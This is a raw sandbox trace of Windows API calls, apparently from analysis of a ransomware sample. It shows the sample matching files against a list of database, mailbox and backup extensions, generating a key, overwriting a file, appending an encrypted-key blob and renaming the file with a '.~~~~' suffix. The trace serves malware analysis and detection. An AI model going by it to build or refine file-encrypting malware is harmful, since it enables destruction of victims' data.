	[0086.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".EDB") returned 0x0
	[0086.873] lstrlenW (lpString=".DACPAC") returned 7
	[0086.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".DACPAC") returned 0x0
	[0086.873] lstrlenW (lpString=".VHD") returned 4
	[0086.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".VHD") returned 0x0
	[0086.873] lstrlenW (lpString=".DBV") returned 4
	[0086.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".DBV") returned 0x0
	[0086.874] lstrlenW (lpString=".dacpac") returned 7
	[0086.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".dacpac") returned 0x0
	[0086.874] lstrlenW (lpString=".sdf") returned 4
	[0086.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".sdf") returned 0x0
	[0086.874] lstrlenW (lpString=".accdb") returned 6
	[0086.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".accdb") returned 0x0
	[0086.874] lstrlenW (lpString=".DBX") returned 4
	[0086.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".DBX") returned 0x0
	[0086.874] lstrlenW (lpString=".MDT") returned 4
	[0086.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".MDT") returned 0x0
	[0086.874] lstrlenW (lpString=".SQB") returned 4
	[0086.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".SQB") returned 0x0
	[0086.874] lstrlenW (lpString=".vhd") returned 4
	[0086.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".vhd") returned 0x0
	[0086.874] lstrlenW (lpString=".bac") returned 4
	[0086.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".bac") returned 0x0
	[0086.874] lstrlenW (lpString=".mdf") returned 4
	[0086.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".mdf") returned 0x0
	[0086.874] lstrlenW (lpString=".BAK") returned 4
	[0086.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".BAK") returned 0x0
	[0086.874] lstrlenW (lpString=".BAC") returned 4
	[0086.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".BAC") returned 0x0
	[0086.875] lstrlenW (lpString=".dbs") returned 4
	[0086.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".dbs") returned 0x0
	[0086.875] lstrlenW (lpString=".vhdx") returned 5
	[0086.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".vhdx") returned 0x0
	[0086.875] lstrlenW (lpString=".NDF") returned 4
	[0086.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".NDF") returned 0x0
	[0086.875] lstrlenW (lpString=".dat") returned 4
	[0086.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".dat") returned 0x0
	[0086.875] lstrlenW (lpString=".DBS") returned 4
	[0086.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".DBS") returned 0x0
	[0086.875] lstrlenW (lpString=".CKP") returned 4
	[0086.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".CKP") returned 0x0
	[0086.875] lstrlenW (lpString=".edb") returned 4
	[0086.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".edb") returned 0x0
	[0086.875] lstrlenW (lpString=".PST") returned 4
	[0086.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".PST") returned 0x0
	[0086.875] lstrlenW (lpString=".dbf") returned 4
	[0086.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".dbf") returned 0x0
	[0086.875] lstrlenW (lpString=".SQL") returned 4
	[0086.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".SQL") returned 0x0
	[0086.875] lstrlenW (lpString=".pst") returned 4
	[0086.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".pst") returned 0x0
	[0086.875] lstrlenW (lpString=".dbv") returned 4
	[0086.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".dbv") returned 0x0
	[0086.876] lstrlenW (lpString=".SDF") returned 4
	[0086.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".SDF") returned 0x0
	[0086.876] lstrlenW (lpString=".dtxs") returned 5
	[0086.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".dtxs") returned 0x0
	[0086.876] lstrlenW (lpString=".db3") returned 4
	[0086.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".db3") returned 0x0
	[0086.876] lstrlenW (lpString=".OST") returned 4
	[0086.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".OST") returned 0x0
	[0086.876] lstrlenW (lpString=".dbx") returned 4
	[0086.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".dbx") returned 0x0
	[0086.876] lstrlenW (lpString=".DB3") returned 4
	[0086.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".DB3") returned 0x0
	[0086.876] lstrlenW (lpString=".DAT") returned 4
	[0086.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".DAT") returned 0x0
	[0086.876] lstrlenW (lpString=".VHDX") returned 5
	[0086.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".VHDX") returned 0x0
	[0086.876] lstrlenW (lpString=".ndf") returned 4
	[0086.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".ndf") returned 0x0
	[0086.876] lstrlenW (lpString=".DB") returned 3
	[0086.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".DB") returned 0x0
	[0086.876] lstrlenW (lpString=".sql") returned 4
	[0086.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".sql") returned 0x0
	[0086.876] lstrlenW (lpString=".MYD") returned 4
	[0086.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".MYD") returned 0x0
	[0086.877] lstrlenW (lpString=".DBT") returned 4
	[0086.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".DBT") returned 0x0
	[0086.877] lstrlenW (lpString=".ACCDB") returned 6
	[0086.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".ACCDB") returned 0x0
	[0086.877] lstrlenW (lpString=".fdb") returned 4
	[0086.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".fdb") returned 0x0
	[0086.877] lstrlenW (lpString=".bak") returned 4
	[0086.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".bak") returned 0x0
	[0086.877] lstrlenW (lpString=".myd") returned 4
	[0086.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".myd") returned 0x0
	[0086.877] lstrlenW (lpString=".DTXS") returned 5
	[0086.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".DTXS") returned 0x0
	[0086.877] lstrlenW (lpString=".ckp") returned 4
	[0086.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".ckp") returned 0x0
	[0086.877] lstrlenW (lpString=".dbt") returned 4
	[0086.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".dbt") returned 0x0
	[0086.877] lstrlenW (lpString=".db") returned 3
	[0086.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".db") returned 0x0
	[0086.877] lstrlenW (lpString=".TXT") returned 4
	[0086.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".TXT") returned 0x0
	[0086.877] lstrlenW (lpString=".MDF") returned 4
	[0086.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".MDF") returned 0x0
	[0086.878] lstrlenW (lpString=".bdb") returned 4
	[0086.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".bdb") returned 0x0
	[0086.878] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0086.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0086.878] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.879] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0086.879] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0086.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0086.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0086.879] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20686962888) returned 1
	[0086.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d967f70, dwHighDateTime=0x1d60e1e)) 
	[0086.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b598
	[0086.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0086.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b598 | out: hHeap=0x300000) returned 1
	[0086.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0086.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6538
	[0086.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0086.880] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.881] GetLastError () returned 0x0
	[0086.881] GetLastError () returned 0x0
	[0086.881] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.881] GetLastError () returned 0x0
	[0086.881] GetLastError () returned 0x0
	[0086.897] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.897] WriteFile (in: hFile=0x124, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.899] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.899] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.902] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.902] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.902] CloseHandle (hObject=0x124) returned 1
	[0086.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0086.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.~~~~")) returned 1
	[0086.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0086.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.915] GetLastError () returned 0x0
	[0086.916] lstrlenW (lpString=".sqb") returned 4
	[0086.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".sqb") returned 0x0
	[0086.916] lstrlenW (lpString=".ost") returned 4
	[0086.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".ost") returned 0x0
	[0086.916] lstrlenW (lpString=".txt") returned 4
	[0086.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".txt") returned 0x0
	[0086.916] lstrlenW (lpString=".mdt") returned 4
	[0086.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".mdt") returned 0x0
	[0086.916] lstrlenW (lpString=".BDB") returned 4
	[0086.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".BDB") returned 0x0
	[0086.917] lstrlenW (lpString=".eql") returned 4
	[0086.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".eql") returned 0x0
	[0086.917] lstrlenW (lpString=".DBF") returned 4
	[0086.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".DBF") returned 0x0
	[0086.917] lstrlenW (lpString=".EQL") returned 4
	[0086.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".EQL") returned 0x0
	[0086.917] lstrlenW (lpString=".FDB") returned 4
	[0086.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".FDB") returned 0x0
	[0086.917] lstrlenW (lpString=".EDB") returned 4
	[0086.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".EDB") returned 0x0
	[0086.917] lstrlenW (lpString=".DACPAC") returned 7
	[0086.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".DACPAC") returned 0x0
	[0086.917] lstrlenW (lpString=".VHD") returned 4
	[0086.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".VHD") returned 0x0
	[0086.917] lstrlenW (lpString=".DBV") returned 4
	[0086.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".DBV") returned 0x0
	[0086.917] lstrlenW (lpString=".dacpac") returned 7
	[0086.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".dacpac") returned 0x0
	[0086.917] lstrlenW (lpString=".sdf") returned 4
	[0086.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".sdf") returned 0x0
	[0086.918] lstrlenW (lpString=".accdb") returned 6
	[0086.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".accdb") returned 0x0
	[0086.918] lstrlenW (lpString=".DBX") returned 4
	[0086.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".DBX") returned 0x0
	[0086.918] lstrlenW (lpString=".MDT") returned 4
	[0086.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".MDT") returned 0x0
	[0086.918] lstrlenW (lpString=".SQB") returned 4
	[0086.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".SQB") returned 0x0
	[0086.918] lstrlenW (lpString=".vhd") returned 4
	[0086.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".vhd") returned 0x0
	[0086.918] lstrlenW (lpString=".bac") returned 4
	[0086.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".bac") returned 0x0
	[0086.918] lstrlenW (lpString=".mdf") returned 4
	[0086.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".mdf") returned 0x0
	[0086.918] lstrlenW (lpString=".BAK") returned 4
	[0086.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".BAK") returned 0x0
	[0086.918] lstrlenW (lpString=".BAC") returned 4
	[0086.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".BAC") returned 0x0
	[0086.918] lstrlenW (lpString=".dbs") returned 4
	[0086.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".dbs") returned 0x0
	[0086.918] lstrlenW (lpString=".vhdx") returned 5
	[0086.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".vhdx") returned 0x0
	[0086.919] lstrlenW (lpString=".NDF") returned 4
	[0086.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".NDF") returned 0x0
	[0086.919] lstrlenW (lpString=".dat") returned 4
	[0086.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".dat") returned 0x0
	[0086.919] lstrlenW (lpString=".DBS") returned 4
	[0086.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".DBS") returned 0x0
	[0086.919] lstrlenW (lpString=".CKP") returned 4
	[0086.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".CKP") returned 0x0
	[0086.919] lstrlenW (lpString=".edb") returned 4
	[0086.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".edb") returned 0x0
	[0086.919] lstrlenW (lpString=".PST") returned 4
	[0086.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".PST") returned 0x0
	[0086.919] lstrlenW (lpString=".dbf") returned 4
	[0086.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".dbf") returned 0x0
	[0086.919] lstrlenW (lpString=".SQL") returned 4
	[0086.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".SQL") returned 0x0
	[0086.919] lstrlenW (lpString=".pst") returned 4
	[0086.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".pst") returned 0x0
	[0086.919] lstrlenW (lpString=".dbv") returned 4
	[0086.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".dbv") returned 0x0
	[0086.919] lstrlenW (lpString=".SDF") returned 4
	[0086.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".SDF") returned 0x0
	[0086.919] lstrlenW (lpString=".dtxs") returned 5
	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".dtxs") returned 0x0
	[0086.920] lstrlenW (lpString=".db3") returned 4
	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".db3") returned 0x0
	[0086.920] lstrlenW (lpString=".OST") returned 4
	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".OST") returned 0x0
	[0086.920] lstrlenW (lpString=".dbx") returned 4
	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".dbx") returned 0x0
	[0086.920] lstrlenW (lpString=".DB3") returned 4
	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".DB3") returned 0x0
	[0086.920] lstrlenW (lpString=".DAT") returned 4
	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".DAT") returned 0x0
	[0086.920] lstrlenW (lpString=".VHDX") returned 5
	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".VHDX") returned 0x0
	[0086.920] lstrlenW (lpString=".ndf") returned 4
